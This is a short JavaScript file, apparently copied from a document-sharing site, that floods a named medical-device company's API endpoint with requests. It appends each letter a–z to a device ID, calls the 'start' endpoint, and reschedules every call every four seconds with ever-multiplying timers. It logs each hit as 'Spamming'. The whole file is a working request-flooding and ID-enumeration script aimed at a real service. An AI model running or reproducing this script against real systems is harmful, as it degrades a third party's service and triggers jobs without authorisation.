Sie sind auf Seite 1von 1

var axios = require('axios');

var request = require('request');


let spamCounter = 0;

let url = 'http://api.athelas.com/start?device_id=';


let deviceID = '000000001488f06';
deviceID = '';

function spam(url, device_id){


for(let i = 97; i <= 122; i++){
let thing = device_id + String.fromCharCode(i);
recurseCall(url + thing);
}

// axios.get(url + thing)
// .then(res => {
// let { job_id } = res.data;
// spamCounter++;
// console.log("Spamming", spamCounter, job_id);
// setInterval(() => spam(url, device_id), 8000);
// }).catch(err => setInterval(() => spam(url, ''), 8000));

function recurseCall(url){
axios.get(url)
.then(res => {
let { job_id } = res.data;
spamCounter++;
console.log("Spamming", spamCounter, job_id);
setInterval(() => recurseCall(url), 4000);
}).catch( err => setInterval(() => recurseCall(url), 4000))
}

// http://api.athelas.com/poll_job?job_id=3196

spam(url, deviceID);